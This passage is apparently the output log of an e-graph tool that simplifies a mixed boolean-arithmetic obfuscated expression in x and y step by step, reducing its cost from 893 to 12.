((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))
====================================================================================================
eclasses #: 238
Synthesized (cost = 893): (((((0xfcc661cc3775da8f-((((0x2*(((0xfcc661cc3775da8f-((((((((((((((y-(x&y))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((y-x)|(~(x*y)))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+(((0x9843f8ec5cf1ad46-((0xfcc661cc3775da8f-((((((((((((((y-(x&y))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((y-x)|(~(x*y)))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*0x9e3de1dbaff27723))|((~x)|y))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)-((((0xfcc661cc3775da8f-((((((((((((((y-(x&y))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((y-x)|(~(x*y)))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))+0x6f57b7f04844afe)+(((((0xfcc661cc3775da8f-((((((((((((((y-(x&y))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((y-x)|(~(x*y)))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*0xc3843c48a01b11ba)+0x3087f1d8b9e35a8d)|(~((x^y)-(y-x))))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d)*0x9e3de1dbaff27723)-0x9843f8ec5cf1ad47)
====================================================================================================
eclasses #: 529
Synthesized (cost = 781): ((((0xb3397e1b3ee70a7+(-((0x2*((0x777ba9677f44b1a+(-((((((((((((0x1562b19480fce116*(y-(x&y)))+0x3bbdd4b3bfa258d)-(((0xab158ca407e708b+(y*0xab158ca407e708b))+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((-((~(y+0x9843f8ec5cf1ad47))-(~(x&y))))*((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b)))-(((0xe6d36157c789618+(y*0xab158ca407e708b))+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((0x1562b19480fce116*((y-x)|(~(x*y))))+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d)))+(((0x9843f8ec5cf1ad46-((0xfcc661cc3775da8f-((((((((((((0x1562b19480fce116*(y-(x&y)))+0x3bbdd4b3bfa258d)-(((0xab158ca407e708b+(y*0xab158ca407e708b))+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((-((~(y+0x9843f8ec5cf1ad47))-(~(x&y))))*((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b)))-(((0xe6d36157c789618+(y*0xab158ca407e708b))+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((0x1562b19480fce116*((y-x)|(~(x*y))))+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*0x9e3de1dbaff27723))|((~x)|y))*0xab158ca407e708b)))+(-(((((~x)|y)*0xf54ea735bf818f75)+(0xfcc661cc3775da8f-((((((((((((0x1562b19480fce116*(y-(x&y)))+0x3bbdd4b3bfa258d)-(((0xab158ca407e708b+(y*0xab158ca407e708b))+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((-((~(y+0x9843f8ec5cf1ad47))-(~(x&y))))*((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b)))-(((0xe6d36157c789618+(y*0xab158ca407e708b))+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((0x1562b19480fce116*((y-x)|(~(x*y))))+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d)))+(((((0xfcc661cc3775da8f-((((((((((((0x1562b19480fce116*(y-(x&y)))+0x3bbdd4b3bfa258d)-(((0xab158ca407e708b+(y*0xab158ca407e708b))+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((-((~(y+0x9843f8ec5cf1ad47))-(~(x&y))))*((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b)))-(((0xe6d36157c789618+(y*0xab158ca407e708b))+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((0x1562b19480fce116*((y-x)|(~(x*y))))+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*0xc3843c48a01b11ba)+0x3087f1d8b9e35a8d)|(~((x^y)-(y-x))))*0xab158ca407e708b))))))-0x3bbdd4b3bfa258d)*0x9e3de1dbaff27723)-0x9843f8ec5cf1ad47)
====================================================================================================
eclasses #: 1614
Synthesized (cost = 246): (-0x9e3de1dbaff27723*(((0x2*((0xab158ca407e708b-(0xe6e171204308f95d+(((((y-x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((0x89a5a6a8ef77d8a8+((((x-(x&y))*0xab158ca407e708b)*((((~y)|x)*0xf54ea735bf818f75)+0xf90a8480fb7bb502))*0x9e3de1dbaff27723))+((y-(y|x))*0x3bbdd4b3bfa258d))+(((((0x3bbdd4b3bfa258d+((x&y)*0xab158ca407e708b))*(((y|x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*0x9e3de1dbaff27723)-((0x3bbdd4b3bfa258d+((x&y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((y|x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*0x9843f8ec5cf1ad47))))+(0xea9d4e6b7f031eea*((y-x)|(~(x*y)))))))+(((((y-x)^(x*y))+0xffffffffffffffff)|((~x)|y))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)-((((0xab158ca407e708b-(0xe6e171204308f95d+(((((y-x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((0x89a5a6a8ef77d8a8+((((x-(x&y))*0xab158ca407e708b)*((((~y)|x)*0xf54ea735bf818f75)+0xf90a8480fb7bb502))*0x9e3de1dbaff27723))+((y-(y|x))*0x3bbdd4b3bfa258d))+(((((0x3bbdd4b3bfa258d+((x&y)*0xab158ca407e708b))*(((y|x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*0x9e3de1dbaff27723)-((0x3bbdd4b3bfa258d+((x&y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((y|x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*0x9843f8ec5cf1ad47))))+(0xea9d4e6b7f031eea*((y-x)|(~(x*y)))))))+(((((y-x)^(x*y))+0xffffffffffffffff)|((~x)|y))*0xab158ca407e708b))+((((((y-x)^(x*y))+0xffffffffffffffff)|((~x)|y))*0xab158ca407e708b)+0xab158ca407e708b))+((x-(x&y))*0xab158ca407e708b))))
====================================================================================================
eclasses #: 9291
Synthesized (cost = 32): (0x9e3de1dbaff27723*((((~((y-x)|(~(x*y))))*0x1562b19480fce116)+((x*(y*0xf54ea735bf818f75))+((y-x)*0xab158ca407e708b)))+((x&(~y))*0xab158ca407e708b)))
====================================================================================================
eclasses #: 154426
Synthesized (cost = 12): (((y-x)^(x*y))+(x&(~y)))
e-graph reset done.
====================================================================================================
python3 synth.py
eclasses #: 151
